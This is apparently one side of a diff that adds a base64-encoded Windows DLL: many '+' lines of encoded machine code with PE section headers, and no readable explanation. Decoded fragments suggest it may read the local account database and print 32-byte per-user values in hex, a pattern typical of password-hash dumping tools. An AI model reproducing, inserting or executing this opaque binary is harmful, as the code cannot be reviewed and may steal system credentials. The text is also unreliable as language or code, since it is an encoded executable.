+AAAAAAAAAAAudGV4dAAAAKJNAAAAEAAAAFAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAACm +CwAAAGAAAAAQAAAAYAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAoCYAAABwAAAAEAAAAHAAAAAA +AAAAAAAAAAAAAEAAAMAucmVsb2MAAJQMAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABCAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFZo6HAAEP8V +FGAAEIs1jGAAEGjccAAQUKOcfwAQ/9ajhH8AEKGcfwAQaMxwABBQ/9aLDZx/ABBovHAAEFGjiH8A +EP/WixWcfwAQaKBwABBSo6B/ABD/1qOUfwAQoZx/ABBohHAAEFD/1osNnH8AEGhkcAAQUaOMfwAQ +/9aLFZx/ABBoQHAAEFKjkH8AEP/Wo4B/ABChnH8AEGgwcAAQUP/Wiw2EfwAQo5h/ABCFyV50RosN +iH8AEIXJdDyLDaB/ABCFyXQyiw2UfwAQhcl0KIsNjH8AEIXJdB6LDZB/ABCFyXQUiw2AfwAQhcl0 +CoXAdAa4AQAAAMMzwMOQkJCQkJCB7OwDAACNRCQAg8n/Vou0JPgDAABXagBQi/4zwPKu99FJUYuM +JAQEAABWUf8VJGAAEIXAdSpW/xUYYAAQUGj0cAAQjVQkGGjoAwAAUugeAAAAg8QUjUQkDFD/FShg +ABBfXoHE7AMAAMOQkJCQkJCQi0wkDFaLdCQMjUQkFFeLfCQMUI1W/1FSV+jEBQAAg8QQxkQ3/wBf +XsOQkJCQkJCQVYvsav9o8GAAEGicGAAQZKEAAAAAUGSJJQAAAACB7PQDAABTVleJZejHRfwAAAAA +i0UUiYX8+///M8mKSA9RM9KKUA5SM8mKSA1RM9KKUAxSM8mKSAtRM9KKUApSM8mKSAlRM9KKUAhS +M8mKSAdRM9KKUAZSM8mKSAVRM9KKUARSM8mKSANRM9KKUAJSM8mKSAFRM9KKEFIzyYpIH1Ez0opQ +HlIzyYpIHVEz0opQHFIzyYpIG1Ez0opQGlIzyYpIGVEz0opQGFIzyYpIF1Ez0opQFlIzyYpIFVEz +0opQFFIzyYpIE1Ez0opQElIzyYpIEVEz0opQEFKLRRBQi00MUWgUcQAQaOgDAACNlQD8//9S6Lr+ +//+NhQD8//9Qi00IUeg6/v//gcScAAAA6wm4AQAAAMOLZejHRfz/////i03wZIkNAAAAAF9eW4vl +XcOQgexwBAAAU1VWM9tXi7wkhAQAAFNoAAAAgGoDU1NoAAAAQFeJXCRAiVwkOIlcJDSJXCQsiVwk +UIlcJDC+AQAAAP8VIGAAEIvog/3/dS//FRhgABBQV2jAcgAQjUQkYGgsAQAAUOgX/v//g8QUjUwk +VFH/FShgABDpWwMAAOiP/P//hcB1E2ikcgAQVeiA/f//g8QI6T8DAAC5BgAAADPAjXwkPI1UJCTz +q1KNRCRAaP8PDwBQU8dEJEwYAAAA6JoDAAA7w30IUGiEcgAQ62WLVCQkjUwkOFFqBVLodwMAADvD +fTNQaFhyABCNRCRcaCwBAABQ6Ij9//+NTCRkUVXoDf3//4PEGI1UJFRS/xUoYAAQ6cECAABqAY1E +JCBoAAAAAlBT/xWEfwAQO8N9M1BoPHIAEI1MJFxoLAEAAFHoPv3//41UJGRSVejD/P//g8QYjUQk +VFD/FShgABDpdwIAAItUJDiNTCQYUYtMJCCLQghQaP8HDwBR/xWIfwAQO8N9N1BoHHIAEI1UJFxo +LAEAAFLo6vz//41EJGRQVehv/P//g8QYjUwkVFH/FShgABCJXCQY6R8CAACNVCQojUQkFFKLVCQc +aOgDAABQjUwkQFNRUv8VjH8AEIvwO/OJdCQwdDuB/gUBAAB0M1Zo8HEAEI1EJFxoLAEAAFDogfz/ +/41MJGRRVegG/P//g8QYjVQkVFL/FShgABDprAEAAItEJCiJXCQsO8MPjo0BAAAz/4tMJBSJXCQg +jUQkEItRBItMJBhQiwQ6UGgAAAACUf8VoH8AEDvDfT6LVCQUUItCBI1UJFiLDDhRaMxxABBoLAEA +AFLoCfz//41EJGhQVeiO+///g8QcjUwkVFH/FShgABDpDQEAAItEJBCNVCQgUmoSUP8VlH8AEDvD +fUJQaKBxABCNTCRcaCwBAABR6MD7//+NVCRkUlXoRfv//4PEGI1EJFRQ/xUoYAAQjUwkEFH/FZh/ +ABCJXCQQ6bUAAACLVCQUi0IEA8dmi3AEi86B4f7/AABmgfn+AXYHvv8AAADrCIHm//8AANHui1AI +Vo2EJIQCAABSUOhaAwAAg8QMjYwkgAEAAI2UJIACAABmiZx0gAIAAFNTaAABAABRav9SU1P/FRxg +ABCLTCQUi0QkIIicJH8CAABQi1EEjYwkhAEAAIsEOlBRVeg1+///i1QkMIPEEGoSUv8VkH8AEI1E +JBCJXCQgUP8VmH8AEIt0JDCJXCQQi0QkLItMJChAg8cMO8GJRCQsD4x1/v//i0wkFFH/FYB/ABCJ +XCQUgf4FAQAAD4Tj/f//M/Y5XCQQdAuNVCQQUv8VmH8AEDlcJBh0C41EJBhQ/xWYfwAQOVwkHHQL +jUwkHFH/FZh/ABCLRCQkO8N0BlDoOAAAADvrdA5V/xUwYAAQVf8VLGAAEKGcfwAQO8N0B1D/FRBg +ABCLxl9eXVuBxHAEAADDkJCQkJCQkJCQ/yUIYAAQ/yUEYAAQ/yUAYAAQVYvsg+wgi0UIVv91FIlF +6IlF4ItFDP91EIlF5I1F4MdF7EIAAABQ6PQEAACDxAz/TeSL8HgIi0XggCAA6w2NReBQagDovwMA +AFlZi8ZeycPMzFWL7FNWV1VqAGoAaLwXABD/dQjo4EUAAF1fXluL5V3Di0wkBPdBBAYAAAC4AQAA +AHQPi0QkCItUJBCJArgDAAAAw1NWV4tEJBBQav5oxBcAEGT/NQAAAABkiSUAAAAAi0QkIItYCItw +DIP+/3QuO3QkJHQojTR2iwyziUwkCIlIDIN8swQAdRJoAQEAAItEswjoQAAAAP9Uswjrw2SPBQAA +AACDxAxfXlvDM8Bkiw0AAAAAgXkExBcAEHUQi1EMi1IMOVEIdQW4AQAAAMNTUbvkcgAQ6wpTUbvk +cgAQi00IiUsIiUMEiWsMWVvCBADMzFZDMjBYQzAwVYvsg+wIU1ZXVfyLXQyLRQj3QAQGAAAAD4WC +AAAAiUX4i0UQiUX8jUX4iUP8i3MMi3sIg/7/dGGNDHaDfI8EAHRFVlWNaxD/VI8EXV6LXQwLwHQz +eDyLewhT6Kn+//+DxASNaxBWU+je/v//g8QIjQx2agGLRI8I6GH///+LBI+JQwz/VI8Ii3sIjQx2 +izSP66G4AAAAAOscuAEAAADrFVWNaxBq/1Ponv7//4PECF24AQAAAF1fXluL5V3DVYtMJAiLKYtB +HFCLQRhQ6Hn+//+DxAhdwgQAi0wkDFZXi3wkDIXJi/d0KItUJBBmiwJmiQdHR0JCZoXAdANJde6F +yXQOSXQLM8DR6fOrE8lm86uLxl9ew4tEJAiD+AEPhYgAAAD/FUBgABBqAaO8fwAQ6J4TAACFwFl0 +PKG8fwAQM8mKDb1/ABAl/wAAAMEtvH8AEBCjxH8AEIkNyH8AEMHgCAPBo8B/ABDokgsAAIXAdQno +mRMAADPA63L/FTxgABCjmJYAEOgXEgAAo6h/ABDo9wwAAOi7DwAA6P0OAADoPgoAAP8FpH8AEOs+ +M8k7wXUsOQ2kfwAQfr3/DaR/ABA5DfR/ABB1BehTCgAA6HYOAADofQsAAOg0EwAA6wyD+AN1B1Ho +AwwAAFlqAVjCDABVi+xTi10IVot1DFeLfRCF9nUJgz2kfwAQAOsmg/4BdAWD/gJ1IqGclgAQhcB0 +CVdWU//QhcB0DFdWU+jn/v//hcB1BDPA605XVlPoRRMAAIP+AYlFDHUMhcB1N1dQU+jD/v//hfZ0 +BYP+A3UmV1ZT6LL+//+FwHUDIUUMg30MAHQRoZyWABCFwHQIV1ZT/9CJRQyLRQxfXltdwgwAobB/ +ABCD+AF0DYXAdQ6DPbR/ABABdQXo4hIAAP90JAToEhMAAGj/AAAA/xX0cgAQWVnDVYvsU1aLdQyL +RgyLXhCogg+E9gAAAKhAD4XuAAAAqAF0FoNmBACoEA+E3gAAAItOCCT+iQ6JRgyLRgyDZgQAg2UM +ACTvDAJmqQwBiUYMdSKB/uBzABB0CIH+AHQAEHULU+j9FgAAhcBZdQdW6K4WAABZZvdGDAgBV3Rn +i0YIiz4r+I1IAYkOi04YSYX/iU4EfhBXUFPolRQAAIPEDIlFDOs2g/v/dBmLy4vDwfkFg+AfiwyN +gJUAEI0EwI0EgesFuAhzABD2QAQgdA1qAmoAU+iCEwAAg8QMi0YIik0IiAjrFGoBjUUIX1dQU+g/ +FAAAg8QMiUUMOX0MX3QGg04MIOsPi0UIJf8AAADrCAwgiUYMg8j/Xltdw1WL7IHsSAIAAFNWV4t9 +DDP2ih9HhNuJdfSJdeyJfQwPhPQGAACLTfAz0usIi03wi3XQM9I5VewPjNwGAACA+yB8E4D7eH8O +D77DioDcYAAQg+AP6wIzwA++hMb8YAAQwfgEg/gHiUXQD4eaBgAA/ySFkyMAEINN8P+JVcyJVdiJ +VeCJVeSJVfyJVdzpeAYAAA++w4PoIHQ7g+gDdC2D6Ah0H0hIdBKD6AMPhVkGAACDTfwI6VAGAACD +TfwE6UcGAACDTfwB6T4GAACATfyA6TUGAACDTfwC6SwGAACA+yp1I41FEFDo9QYAAIXAWYlF4A+N +EgYAAINN/AT32IlF4OkEBgAAi0XgD77LjQSAjURB0OvpiVXw6e0FAACA+yp1Ho1FEFDotgYAAIXA +WYlF8A+N0wUAAINN8P/pygUAAI0EiQ++y41EQdCJRfDpuAUAAID7SXQugPtodCCA+2x0EoD7dw+F +oAUAAIBN/QjplwUAAINN/BDpjgUAAINN/CDphQUAAIA/NnUUgH8BNHUOR0eATf2AiX0M6WwFAACJ +VdCLDVh2ABCJVdwPtsP2REEBgHQZjUXsUP91CA++w1DofwUAAIofg8QMR4l9DI1F7FD/dQgPvsNQ +6GYFAACDxAzpJQUAAA++w4P4Zw+PHAIAAIP4ZQ+NlgAAAIP4WA+P6wAAAA+EeAIAAIPoQw+EnwAA +AEhIdHBISHRsg+gMD4XpAwAAZvdF/DAIdQSATf0Ii3Xwg/7/dQW+////f41FEFDonAUAAGb3RfwQ +CFmLyIlN+A+E/gEAAIXJdQmLDfxyABCJTfjHRdwBAAAAi8GL1k6F0g+E1AEAAGaDOAAPhMoBAABA +QOvnx0XMAQAAAIDDIINN/ECNvbj9//87yol9+A+NzwAAAMdF8AYAAADp0QAAAGb3RfwwCHUEgE39 +CGb3RfwQCI1FEFB0O+gwBQAAUI2FuP3//1DogBUAAIPEDIlF9IXAfTLHRdgBAAAA6ymD6Fp0MoPo +CXTFSA+E6AEAAOkIAwAA6NgEAABZiIW4/f//x0X0AQAAAI2FuP3//4lF+OnnAgAAjUUQUOizBAAA +hcBZdDOLSASFyXQs9kX9CHQXD78A0eiJTfiJRfTHRdwBAAAA6bUCAACDZdwAiU34D78A6aMCAACh ++HIAEIlF+FDpjgAAAHUMgPtndQfHRfABAAAAi0UQ/3XMg8AIiUUQ/3Xwi0j4iU24i0D8iUW8D77D +UI2FuP3//1CNRbhQ/xVAdgAQi3X8g8QUgeaAAAAAdBSDffAAdQ6Nhbj9//9Q/xVMdgAQWYD7Z3US +hfZ1Do2FuP3//1D/FUR2ABBZgL24/f//LXUNgE39AY29uf3//4l9+Ffo2RMAAFnp/AEAAIPoaQ+E +0QAAAIPoBQ+EngAAAEgPhIQAAABIdFGD6AMPhP39//9ISA+EsQAAAIPoAw+FyQEAAMdF1CcAAADr +PCvB0fjptAEAAIXJdQmLDfhyABCJTfiLwYvWToXSdAiAOAB0A0Dr8SvB6Y8BAADHRfAIAAAAx0XU +BwAAAPZF/IDHRfQQAAAAdF2KRdTGReowBFHHReQCAAAAiEXr60j2RfyAx0X0CAAAAHQ7gE39Aus1 +jUUQUOgbAwAA9kX8IFl0CWaLTexmiQjrBYtN7IkIx0XYAQAAAOkjAgAAg038QMdF9AoAAAD2Rf2A +dAyNRRBQ6O0CAABZ60H2RfwgdCH2RfxAjUUQUHQM6MgCAABZD7/Amesl6LwCAABZD7fA6/L2RfxA +jUUQUHQI6KcCAABZ6+DonwIAAFkz0vZF/EB0G4XSfxd8BIXAcxH32IPSAIvw99qATf0Bi/rrBIvw +i/r2Rf2AdQOD5wCDffAAfQnHRfABAAAA6wSDZfz3i8YLx3UEg2XkAI1Ft4lF+ItF8P9N8IXAfwaL +xgvHdDuLRfSZUlBXVolFwIlVxOjXEwAA/3XEi9iDwzD/dcBXVuhVEwAAg/s5i/CL+n4DA13Ui0X4 +/034iBjrtY1FtytF+P9F+PZF/QKJRfR0GYtN+IA5MHUEhcB1Df9N+ECLTfjGATCJRfSDfdgAD4X0 +AAAAi1389sNAdCb2xwF0BsZF6i3rFPbDAXQGxkXqK+sJ9sMCdAvGReogx0XkAQAAAIt14Ct15Ct1 +9PbDDHUSjUXsUP91CFZqIOgXAQAAg8QQjUXsUI1F6v91CP915FDoMgEAAIPEEPbDCHQX9sMEdRKN +RexQ/3UIVmow6OUAAACDxBCDfdwAdEGDffQAfjuLRfSLXfiNeP9miwNDUI1FyFBD6KERAABZhcBZ +fjKNTexR/3UIUI1FyFDo2AAAAIPEEIvHT4XAddDrFY1F7FD/dQj/dfT/dfjougAAAIPEEPZF/AR0 +Eo1F7FD/dQhWaiDocQAAAIPEEIt9DIofR4TbiX0MD4UT+f//i0XsX15bycMRHgAQ5xwAEAIdABBO +HQAQhR0AEI0dABDCHQAQVR4AEFWL7ItNDP9JBHgOixGKRQiIAv8BD7bA6wtR/3UI6IX3//9ZWYP4 +/4tFEHUFgwj/XcP/AF3DVleLfCQQi8dPhcB+IYt0JBhW/3QkGP90JBTorP///4PEDIM+/3QHi8dP +hcB/419ew1OLXCQMi8NLVleFwH4mi3wkHIt0JBAPvgZXRv90JBxQ6HX///+DxAyDP/90B4vDS4XA +f+JfXlvDi0QkBIMABIsAi0D8w4tEJASDAAiLCItB+ItR/MOLRCQEgwAEiwBmi0D8w6GUlgAQhcB0 +Av/QaBRwABBoCHAAEOjqAAAAaARwABBoAHAAEOjbAAAAg8QQw2oAagH/dCQM6BMAAACDxAzDagFq +AGoA6AQAAACDxAzDV+ifAAAAagFfOT34fwAQdRH/dCQI/xVMYAAQUP8VSGAAEIN8JAwAU4tcJBSJ +PfR/ABCIHfB/ABB1PKGQlgAQhcB0IosNjJYAEFaNcfw78HITiwaFwHQC/9CD7gQ7NZCWABBz7V5o +IHAAEGgYcAAQ6EMAAABZWWgocAAQaCRwABDoMgAAAFlZhdtbdAfoHQAAAF/D/3QkCIk9+H8AEP8V +RGAAEF/Dag3olREAAFnDag3o7REAAFnDVot0JAg7dCQMcw2LBoXAdAL/0IPGBOvtXsNW6NUQAAD/ +FVhgABCD+P+jAHMAEHQ6anRqAejHEQAAi/BZhfZZdClW/zUAcwAQ/xVUYAAQhcB0GFboNAAAAFn/ +FVBgABCDTgT/agGJBlhewzPAXsPoqxAAAKEAcwAQg/j/dA5Q/xVcYAAQgw0AcwAQ/8OLRCQEx0BQ +MHkAEMdAFAEAAADDVlf/FRhgABD/NQBzABCL+P8VZGAAEIvwhfZ1P2p0agHoPBEAAIvwWYX2WXQm +Vv81AHMAEP8VVGAAEIXAdBVW6Kn///9Z/xVQYAAQg04E/4kG6whqEOiu9P//WVf/FWBgABCLxl9e +w6EAcwAQg/j/D4SRAAAAVot0JAiF9nUNUP8VZGAAEIvwhfZ0bItGJIXAdAdQ6FYRAABZi0YohcB0 +B1DoSBEAAFmLRjCFwHQHUOg6EQAAWYtGOIXAdAdQ6CwRAABZi0ZAhcB0B1DoHhEAAFmLRkSFwHQH +UOgQEQAAWYtGUD0weQAQdAdQ6P8QAABZVuj4EAAAWWoA/zUAcwAQ/xVUYAAQXsNVi+yD7EhTVldo +gAQAAOgcEQAAi/BZhfZ1CGob6ODz//9ZiTWAlQAQxwWAlgAQIAAAAI2GgAQAADvwcx6AZgQAgw7/ +g2YIAMZGBQqhgJUAEIPGJAWABAAA696NRbhQ/xV0YAAQZoN96gAPhNEAAACLReyFwA+ExgAAAIs4 +jVgEjQQ7iUX8uAAIAAA7+HwCi/g5PYCWABB9Vr6ElQAQaIAEAADoiBAAAIXAWXQ8gwWAlgAQIIkG +jYiABAAAO8FzHIBgBACDCP+DYAgAxkAFCosOg8AkgcGABAAA6+CDxgQ5PYCWABB8t+sGiz2AlgAQ +M/aF/35Mi0X8iwiD+f90OIoDqAF0MqgIdQtR/xVwYAAQhcB0I4vOi8bB+QWD4B+LDI2AlQAQjQTA +jQSBi038iwmJCIoLiEgEg0X8BEZDO/d8tDPbiw2AlQAQjQTbgzyB/400gXVNhdvGRgSBdQVq9ljr +CovDSPfYG8CDwPVQ/xVsYAAQi/iD//90F1f/FXBgABCFwHQMJf8AAACJPoP4AnUGgE4EQOsPg/gD +dQqATgQI6wSATgSAQ4P7A3yX/zWAlgAQ/xVoYAAQX15bycNTVle+gJUAEIsGhcB0N4v4BYAEAAA7 ++HMhjV8Mg3v8AHQHU/8VeGAAEIsGg8ckBYAEAACDwyQ7+HLi/zbo6g4AAIMmAFmDxgSB/oCWABB8 +uF9eW8NTM9s5HYiWABBWV3UF6HAUAACLNah/ABAz/4oGOsN0Ejw9dAFHVujvCgAAWY10BgHr6I0E +vQQAAABQ6OAOAACL8Fk784k12H8AEHUIagnonvH//1mLPah/ABA4H3Q5VVfotQoAAIvoWUWAPz10 +IlXoqw4AADvDWYkGdQhqCehv8f//WVf/NugvDwAAWYPGBFkD/Tgfdcld/zWofwAQ6DUOAABZiR2o +fwAQiR5fXscFhJYAEAEAAABbw1WL7FFRUzPbOR2IlgAQVld1BeiyEwAAvvx/ABBoBAEAAFZT/xV8 +YAAQoZiWABCJNeh/ABCL/jgYdAKL+I1F+FCNRfxQU1NX6E0AAACLRfiLTfyNBIhQ6AsOAACL8IPE +GDvzdQhqCOjN8P//WY1F+FCNRfxQi0X8jQSGUFZX6BcAAACLRfyDxBRIiTXQfwAQX16jzH8AEFvJ +w1WL7ItNGItFFFNWgyEAi3UQV4t9DMcAAQAAAItFCIX/dAiJN4PHBIl9DIA4InVEilABQID6InQp +hNJ0JQ+20vaCQYQAEAR0DP8BhfZ0BooQiBZGQP8BhfZ01YoQiBZG687/AYX2dASAJgBGgDgidUZA +60P/AYX2dAWKEIgWRooQQA+22vaDQYQAEAR0DP8BhfZ0BYoYiB5GQID6IHQJhNJ0CYD6CXXMhNJ1 +A0jrCIX2dASAZv8Ag2UYAIA4AA+E4AAAAIoQgPogdAWA+gl1A0Dr8YA4AA+EyAAAAIX/dAiJN4PH +BIl9DItVFP8Cx0UIAQAAADPbgDhcdQRAQ+v3gDgidSz2wwF1JTP/OX0YdA2AeAEijVABdQSLwusD +iX0Ii30MM9I5VRgPlMKJVRjR64vTS4XSdA5DhfZ0BMYGXEb/AUt184oQhNJ0SoN9GAB1CoD6IHQ/ +gPoJdDqDfQgAdC6F9nQZD7ba9oNBhAAQBHQGiBZGQP8BihCIFkbrDw+20vaCQYQAEAR0A0D/Af8B +QOlY////hfZ0BIAmAEb/AekX////hf90A4MnAItFFF9eW/8AXcNRUaEAgQAQU1WLLTRgABBWVzPb +M/Yz/zvDdTP/1YvwO/N0DMcFAIEAEAEAAADrKP8ViGAAEIv4O/sPhOoAAADHBQCBABACAAAA6Y8A +AACD+AEPhYEAAAA783UM/9WL8DvzD4TCAAAAZjkei8Z0DkBAZjkYdflAQGY5GHXyK8aLPRxgABDR ++FNTQFNTUFZTU4lEJDT/14voO+t0MlXoeAsAADvDWYlEJBB0I1NTVVD/dCQkVlNT/9eFwHUO/3Qk +EOgNCwAAWYlcJBCLXCQQVv8VhGAAEIvD61OD+AJ1TDv7dQz/FYhgABCL+Dv7dDw4H4vHdApAOBh1 ++0A4GHX2K8dAi+hV6BELAACL8Fk783UEM/brC1VXVuiJEAAAg8QMV/8VgGAAEIvG6wIzwF9eXVtZ +WcMzwGoAOUQkCGgAEAAAD5TAUP8VlGAAEIXAo2SVABB0FeiCEwAAhcB1D/81ZJUAEP8VkGAAEDPA +w2oBWMNTM9s5HRCDABBViy2cYAAQfkShFIMAEFZXiz2YYAAQjXAMaABAAABoAAAQAP82/9doAIAA +AGoA/zb/1/92BGoA/zVklQAQ/9WDxhRDOx0QgwAQfM5fXv81FIMAEGoA/zVklQAQ/9X/NWSVABD/ 